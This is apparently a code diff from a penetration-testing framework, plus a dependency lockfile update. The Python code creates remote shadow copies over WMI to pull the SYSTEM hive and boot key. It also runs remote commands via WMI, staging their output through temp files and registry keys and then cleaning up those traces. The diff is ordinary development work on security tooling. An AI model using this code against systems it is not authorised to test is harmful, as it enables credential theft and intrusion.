self._shadow_id = shadow_id
|
||||
self._shadow_copy_path = None
|
||||
|
||||
# Keep track if we created a Shadow Copy to delete it later
|
||||
self.shadow_copy_created = False
|
||||
|
||||
def __del__(self):
|
||||
# If we created a Shadow Copy, delete it
|
||||
if self.shadow_copy_created:
|
||||
wmiPath = f'Win32_ShadowCopy.ID="{self.shadow_id}"'
|
||||
self.connection.logger.debug(f"Trying to delete ShadowCopy with ID {self.shadow_id}")
|
||||
ret = self.cimv2_namespace.DeleteInstance(wmiPath)
|
||||
if (ret.GetCallStatus(0) & 0xffffffff) != 0:
|
||||
self.connection.logger.fail(f"Could not delete ShadowCopy ID {self.shadow_id}. You will need to delete this by yourself.")
|
||||
else:
|
||||
self.connection.logger.debug(f"ShadowCopy with ID {self.shadow_id} successfully deleted")
|
||||
|
||||
def create_shadowcopy(self) -> str:
|
||||
# Creating Shadow Volumes
|
||||
shadow_id = None
|
||||
try:
|
||||
win32_shadow_copy, _ = self.cimv2_namespace.GetObject("Win32_ShadowCopy")
|
||||
self.connection.logger.debug("Trying to create SS remotely via WMI")
|
||||
result = win32_shadow_copy.Create("C:\\", "ClientAccessible")
|
||||
self.shadow_copy_created = True
|
||||
shadow_id = result.ShadowID
|
||||
self.connection.logger.debug(f"Shadow Copy created at ID {shadow_id}")
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(f"Cannot create ShadowCopy: {e}")
|
||||
return shadow_id
|
||||
|
||||
def get_shadowcopy_path(self, shadow_id=None) -> str:
|
||||
if shadow_id is None:
|
||||
shadow_id = self.shadow_id
|
||||
device_object = None
|
||||
try:
|
||||
iEnum_shadow_copies = self.cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"')
|
||||
obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0]
|
||||
props = obj.getProperties()
|
||||
shadow_copy = {k: v["value"] for k, v in props.items()}
|
||||
device_object = shadow_copy["DeviceObject"]
|
||||
self.connection.logger.debug(f"Found ShadowCopy at {device_object}")
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(f"Cannot find ShadowCopy with ID {shadow_id} :{e}")
|
||||
return device_object
|
||||
|
||||
@property
|
||||
def shadow_id(self):
|
||||
if self._shadow_id is None:
|
||||
self._shadow_id = self.create_shadowcopy()
|
||||
return self._shadow_id
|
||||
|
||||
@property
|
||||
def shadow_copy_path(self):
|
||||
if self._shadow_copy_path is None:
|
||||
self._shadow_copy_path = self.get_shadowcopy_path()
|
||||
return self._shadow_copy_path
|
||||
|
||||
def get_bootkey(self, output_filename):
|
||||
if self.bootkey is not None:
|
||||
return self.bootkey
|
||||
|
||||
system_hive_path = f"{self.shadow_copy_path}\\Windows\\System32\\config\\SYSTEM"
|
||||
system_hive_recovered = self.connection.get_file_single(system_hive_path, f"{output_filename}.system")
|
||||
if system_hive_recovered:
|
||||
self.connection.logger.debug("Got SYSTEM hive")
|
||||
local_operations = LocalOperations(f"{output_filename}.system")
|
||||
self.bootkey = local_operations.getBootKey()
|
||||
self.connection.logger.debug(f"Got bootkey: 0x{hexlify(self.bootkey).decode('utf-8')}")
|
||||
else:
|
||||
self.connection.logger.fail("Could not get bootkey")
|
||||
return self.bootkey
|
||||
@@ -21,7 +21,7 @@ from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
|
||||
class WMIEXEC:
|
||||
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec):
|
||||
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, cimv2_namespace=None):
|
||||
self.__target = target
|
||||
self.__iWbemLevel1Login = iWbemLevel1Login
|
||||
self.logger = logger
|
||||
@@ -32,8 +32,10 @@ class WMIEXEC:
|
||||
self.__pwd = "C:\\"
|
||||
self.__codec = codec
|
||||
|
||||
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
self.__iWbemServices = cimv2_namespace
|
||||
if self.__iWbemServices is None:
|
||||
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
self.__win32Process, _ = self.__iWbemServices.GetObject("Win32_Process")
|
||||
|
||||
def execute(self, command, output=False, use_powershell=False):
|
||||
@@ -55,10 +57,40 @@ class WMIEXEC:
|
||||
|
||||
def execute_remote(self, command):
|
||||
self.logger.info(f"Executing command: {command}")
|
||||
process = self.__win32Process.Create(command, self.__pwd, None)
|
||||
if process.ReturnValue != 0:
|
||||
raise Exception(f"Win32_Process.Create returned {process.ReturnValue}")
|
||||
return process.ProcessId
|
||||
|
||||
def wait_for_process(self, pid, timeout):
|
||||
"""Poll Win32_Process until the process and its children have exited or the timeout (in seconds) is reached"""
|
||||
end = time.monotonic() + timeout
|
||||
while time.monotonic() < end:
|
||||
time.sleep(0.1)
|
||||
try:
|
||||
self.__iWbemServices.GetObject(f'Win32_Process.Handle="{pid}"')
|
||||
except Exception as e:
|
||||
if "WBEM_E_NOT_FOUND" not in str(e):
|
||||
self.logger.debug(f"Could not query process {pid}: {e}")
|
||||
continue
|
||||
# Children (e.g. "start /b") keep the ParentProcessId after the parent exits and may still hold the output file open
|
||||
if not self.has_children(pid):
|
||||
return
|
||||
self.logger.fail(f"WMIEXEC: Process {pid} still running after {timeout}s, output may be incomplete. Please try a higher '--exec-timeout'")
|
||||
|
||||
def has_children(self, pid):
|
||||
try:
|
||||
self.__win32Process.Create(command, self.__pwd, None)
|
||||
enum = self.__iWbemServices.ExecQuery(f"SELECT ProcessId FROM Win32_Process WHERE ParentProcessId = {pid}")
|
||||
except Exception as e:
|
||||
self.logger.error(str(e))
|
||||
self.logger.debug(f"Could not query children of process {pid}: {e}")
|
||||
return False
|
||||
try:
|
||||
enum.Next(0xFFFFFFFF, 1)
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
finally:
|
||||
enum.RemRelease()
|
||||
|
||||
def execute_WithOutput(self, command):
|
||||
result_output = f"C:\\windows\\temp\\{uuid.uuid4()!s}.txt"
|
||||
@@ -67,17 +99,11 @@ class WMIEXEC:
|
||||
self.__registry_Path = f"Software\\Classes\\{gen_random_string(8)}"
|
||||
|
||||
# 1. Run the command and write output to file
|
||||
self.execute_remote(f'{self.__shell} ({command}) 1> "{result_output}" 2>&1')
|
||||
self.logger.info(f"Waiting {self.__exec_timeout}s for command to complete.")
|
||||
time.sleep(self.__exec_timeout)
|
||||
self.logger.info(f"Waiting up to {self.__exec_timeout}s for command to complete.")
|
||||
self.wait_for_process(self.execute_remote(f'{self.__shell} ({command}) 1> "{result_output}" 2>&1'), self.__exec_timeout)
|
||||
|
||||
# 2. Base64 encode the file
|
||||
self.execute_remote(f"{self.__shell} certutil -encodehex -f {result_output} {result_output_b64} 0x40000001")
|
||||
time.sleep(0.5)
|
||||
|
||||
# 3. Store content in registry
|
||||
self.execute_remote(f'{self.__shell} for /F "usebackq" %G in ("{result_output_b64}") do reg add HKLM\\{self.__registry_Path} /v {keyName} /t REG_SZ /d "%G" /f')
|
||||
time.sleep(0.1)
|
||||
# 2. Base64 encode the file and store content in registry
|
||||
self.wait_for_process(self.execute_remote(f'{self.__shell} certutil -encodehex -f {result_output} {result_output_b64} 0x40000001 & for /F "usebackq" %G in ("{result_output_b64}") do reg add HKLM\\{self.__registry_Path} /v {keyName} /t REG_SZ /d "%G" /f'), self.__exec_timeout)
|
||||
|
||||
self.queryRegistry(keyName)
|
||||
self.clean_up(result_output, result_output_b64)
|
||||
@@ -110,16 +136,14 @@ class WMIEXEC:
|
||||
# 1. Run the command and write output to file
|
||||
if not command.lower().startswith("powershell"):
|
||||
command = f'powershell -Command "& {{{command}}}"'
|
||||
self.execute_remote(f'{command} > "{result_output}" 2>&1')
|
||||
self.logger.info(f"Waiting {self.__exec_timeout}s for command to complete.")
|
||||
time.sleep(self.__exec_timeout)
|
||||
self.logger.info(f"Waiting up to {self.__exec_timeout}s for command to complete.")
|
||||
self.wait_for_process(self.execute_remote(f'{command} > "{result_output}" 2>&1'), self.__exec_timeout)
|
||||
|
||||
# 2. Base64 encode the file using PowerShell
|
||||
self.execute_remote(f'powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes(\'{result_output}\')) | Out-File -Encoding ASCII \'{result_output_b64}\'"')
|
||||
time.sleep(0.5)
|
||||
self.wait_for_process(self.execute_remote(f'powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes(\'{result_output}\')) | Out-File -Encoding ASCII \'{result_output_b64}\'"'), self.__exec_timeout)
|
||||
|
||||
# 3. Use PowerShell to split base64 content into 16KB chunks and store in registry
|
||||
self.execute_remote(
|
||||
self.wait_for_process(self.execute_remote(
|
||||
f'powershell -Command "$b64 = Get-Content -Raw \'{result_output_b64}\'; '
|
||||
f'$chunksize = 16000; '
|
||||
f'$count = [math]::Ceiling($b64.Length / $chunksize); '
|
||||
@@ -128,8 +152,7 @@ class WMIEXEC:
|
||||
f' $name = \\"{keyName}_chunk_$i\\"; '
|
||||
f' reg add \\"HKLM\\{self.__registry_Path}\\" /v $name /t REG_SZ /d $chunk /f }}; '
|
||||
f'reg add \\"HKLM\\{self.__registry_Path}\\" /v \\"{keyName}\\" /t REG_DWORD /d $count /f"'
|
||||
)
|
||||
time.sleep(0.1)
|
||||
), self.__exec_timeout)
|
||||
|
||||
self.queryRegistry_psh(keyName)
|
||||
self.clean_up(result_output, result_output_b64)
|
||||
@@ -163,13 +186,12 @@ class WMIEXEC:
|
||||
self.logger.fail("WMIEXEC: Could not retrieve output file! Either command timed out or AV killed the process. Please try increasing the timeout: '--exec-timeout 10'")
|
||||
|
||||
def clean_up(self, result_output, result_output_b64):
|
||||
"""Deletes the output file, the base64 output file, and the registry path where the base64 content was stored."""
|
||||
self.execute_remote(f'{self.__shell} del /q /f "{result_output}" "{result_output_b64}"')
|
||||
|
||||
"""Deletes the registry path where the base64 content was stored, the output file and the base64 output file."""
|
||||
try:
|
||||
self.logger.debug(f"Removing temporary registry path: HKLM\\{self.__registry_Path}")
|
||||
descriptor, _ = self.__iWbemServices.GetObject("StdRegProv")
|
||||
descriptor = descriptor.SpawnInstance()
|
||||
descriptor.DeleteKey(0x80000002, self.__registry_Path)
|
||||
self.execute_remote(f'{self.__shell} del /q /f "{result_output}" "{result_output_b64}"')
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Target: {self.__target} removing temporary registry path error: {e!s}")
|
||||
self.logger.fail(f"WMIEXEC: Cleanup failed, traces may be left on the target ({result_output}, {result_output_b64}, HKLM\\{self.__registry_Path}): {e}")
|
||||
@@ -30,7 +30,7 @@ from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS
|
||||
|
||||
|
||||
class WMIEXEC_EVENT:
|
||||
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec):
|
||||
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, subscription_namespace=None):
|
||||
self.__target = target
|
||||
self.__iWbemLevel1Login = iWbemLevel1Login
|
||||
self.__outputBuffer = ""
|
||||
@@ -41,8 +41,10 @@ class WMIEXEC_EVENT:
|
||||
self.__instanceID = f"windows-object-{uuid.uuid4()!s}"
|
||||
self.__instanceID_StoreResult = f"windows-object-{uuid.uuid4()!s}"
|
||||
|
||||
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
self.__iWbemServices = subscription_namespace
|
||||
if self.__iWbemServices is None:
|
||||
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
|
||||
def execute(self, command, output=False, use_powershell=False):
|
||||
if "'" in command:
|
||||
|
||||
Generated
+24
-106
@@ -1,14 +1,17 @@
|
||||
# This file is automatically @generated by Poetry 2.4.1 and should not be changed by hand.
|
||||
# This file is automatically @generated by Poetry 2.5.1 and should not be changed by hand.
|
||||
|
||||
[[package]]
|
||||
name = "aardwolf"
|
||||
version = "0.2.14"
|
||||
version = "0.2.16"
|
||||
description = "Asynchronous RDP protocol implementation"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
python-versions = ">=3.11"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "aardwolf-0.2.14.tar.gz", hash = "sha256:360a1a3d046dc2814c2e58339939a8f311ae330c0d1d962790edf45d726af4a6"},
|
||||
{file = "aardwolf-0.2.16-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:fbde3046d4cdd3a5596dfcc988965b85527632cee46db2522961893d101fcbc7"},
|
||||
{file = "aardwolf-0.2.16-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:69bedfad4b68b855a9d0df928c78eb0bbdc642c22f9845778c9df77a8fe9c259"},
|
||||
{file = "aardwolf-0.2.16-cp311-abi3-win_amd64.whl", hash = "sha256:b4d6032110ee238cf11c1f5efa86636462d7dc2e972b8464e949da82df58f3a6"},
|
||||
{file = "aardwolf-0.2.16.tar.gz", hash = "sha256:52cba79817af963108dcd39e82513deec742387f2fab01a9138abe56f94e7ad2"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -105,7 +108,6 @@ files = [
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""}
|
||||
idna = ">=2.8"
|
||||
typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""}
|
||||
|
||||
@@ -439,7 +441,7 @@ files = [
|
||||
[package.dependencies]
|
||||
dnspython = "*"
|
||||
impacket = ">=0.9.17"
|
||||
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
|
||||
ldap3 = ">2.5.0,!=2.5.2,!=2.6"
|
||||
pyasn1 = ">=0.4"
|
||||
pycryptodome = "*"
|
||||
|
||||
@@ -480,14 +482,16 @@ dev = ["black (>=23.0.0)", "mypy (>=1.0.0)", "pytest (>=7.0.0)", "pytest-cov (>=
|
||||
kerberos = ["gssapi (>=1.8.0) ; sys_platform != \"win32\"", "winkerberos (>=0.9.1) ; sys_platform == \"win32\""]
|
||||
|
||||
[[package]]
|
||||
name = "certipy-ad"
|
||||
version = "5.1.0"
|
||||
description = "Active Directory Certificate Services enumeration and abuse"
|
||||
name = "certipy-nxc"
|
||||
version = "5.1.0.post1"
|
||||
description = "Certipy (ly4k/Certipy) packaged for NetExec, with relaxed Python and impacket pins"
|
||||
optional = false
|
||||
python-versions = ">=3.10"
|
||||
groups = ["main"]
|
||||
files = []
|
||||
develop = false
|
||||
files = [
|
||||
{file = "certipy_nxc-5.1.0.post1-py3-none-any.whl", hash = "sha256:27620fdd7a7a44f5ea7d537732a8022d20dd02f7fcd76e2d7fff84daab43ecb0"},
|
||||
{file = "certipy_nxc-5.1.0.post1.tar.gz", hash = "sha256:fb11ca11bcf2e1e7eb060e2c7a7ba78699baeafabb23598dd3770b61d07b75b8"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
argcomplete = ">=3.6.2,<3.7.0"
|
||||
@@ -505,12 +509,6 @@ requests = ">=2.32.3,<2.33.0"
|
||||
[package.extras]
|
||||
bloodhound = ["neo4j (>=5.28.1,<5.29.0)"]
|
||||
|
||||
[package.source]
|
||||
type = "git"
|
||||
url = "https://github.com/Pennyw0rth/Certipy"
|
||||
reference = "HEAD"
|
||||
resolved_reference = "069e03113095aa02772aa3d8debea90654933fe4"
|
||||
|
||||
[[package]]
|
||||
name = "cffi"
|
||||
version = "2.1.1"
|
||||
@@ -867,25 +865,6 @@ files = [
|
||||
pycryptodomex = "*"
|
||||
pyopenssl = "*"
|
||||
|
||||
[[package]]
|
||||
name = "exceptiongroup"
|
||||
version = "1.3.1"
|
||||
description = "Backport of PEP 654 (exception groups)"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main", "dev"]
|
||||
markers = "python_version == \"3.10\""
|
||||
files = [
|
||||
{file = "exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598"},
|
||||
{file = "exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""}
|
||||
|
||||
[package.extras]
|
||||
test = ["pytest (>=6)"]
|
||||
|
||||
[[package]]
|
||||
name = "flake8"
|
||||
version = "7.3.0"
|
||||
@@ -1097,7 +1076,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"]
|
||||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.14.0.dev0+20260909.31915.a2d35007"
|
||||
version = "0.14.0.dev0+20261015.95810.75938fcb"
|
||||
description = "Network protocols Constructors and Dissectors"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
@@ -1108,7 +1087,7 @@ develop = false
|
||||
[package.dependencies]
|
||||
charset_normalizer = "*"
|
||||
flask = ">=1.0"
|
||||
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
|
||||
ldap3 = ">2.5.0,!=2.5.2,!=2.6"
|
||||
ldapdomaindump = ">=0.9.0"
|
||||
pyasn1 = ">=0.2.3"
|
||||
pyasn1_modules = "*"
|
||||
@@ -1121,7 +1100,7 @@ six = "*"
|
||||
type = "git"
|
||||
url = "https://github.com/fortra/impacket"
|
||||
reference = "HEAD"
|
||||
resolved_reference = "a2d35007c9717ce791f07efe99db63fd26386661"
|
||||
resolved_reference = "75938fcb0145b476250940d740f71394676288cb"
|
||||
|
||||
[[package]]
|
||||
name = "iniconfig"
|
||||
@@ -1190,7 +1169,7 @@ files = [
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
cryptography = ">=3.1,<3.4.0 || >3.4.0"
|
||||
cryptography = ">=3.1,!=3.4.0"
|
||||
|
||||
[package.extras]
|
||||
dev = ["black", "isort", "mypy", "types-freezegun"]
|
||||
@@ -1225,7 +1204,7 @@ files = [
|
||||
|
||||
[package.dependencies]
|
||||
dnspython = "*"
|
||||
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
|
||||
ldap3 = ">2.5.0,!=2.5.2,!=2.6"
|
||||
|
||||
[[package]]
|
||||
name = "lsassy"
|
||||
@@ -2453,11 +2432,9 @@ files = [
|
||||
|
||||
[package.dependencies]
|
||||
colorama = {version = "*", markers = "sys_platform == \"win32\""}
|
||||
exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""}
|
||||
iniconfig = "*"
|
||||
packaging = "*"
|
||||
pluggy = ">=0.12,<2.0"
|
||||
tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""}
|
||||
|
||||
[package.extras]
|
||||
testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"]
|
||||
@@ -2606,7 +2583,7 @@ files = [
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
click = ">=6.7,<7.0 || >7.0"
|
||||
click = ">=6.7,!=7.0"
|
||||
pip = ">=9.0.3"
|
||||
setuptools = "*"
|
||||
|
||||
@@ -2810,64 +2787,6 @@ files = [
|
||||
{file = "terminaltables3-4.0.0.tar.gz", hash = "sha256:4e3eefe209aa89005a0a34d1525739424569729ee29b5e64a8dd51c5ebdab77f"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tomli"
|
||||
version = "2.4.1"
|
||||
description = "A lil' TOML parser"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["dev"]
|
||||
markers = "python_version == \"3.10\""
|
||||
files = [
|
||||
{file = "tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396"},
|
||||
{file = "tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe"},
|
||||
{file = "tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tqdm"
|
||||
version = "4.70.0"
|
||||
@@ -2895,12 +2814,11 @@ version = "4.16.0"
|
||||
description = "Backported and Experimental Type Hints for Python 3.9+"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main", "dev"]
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8"},
|
||||
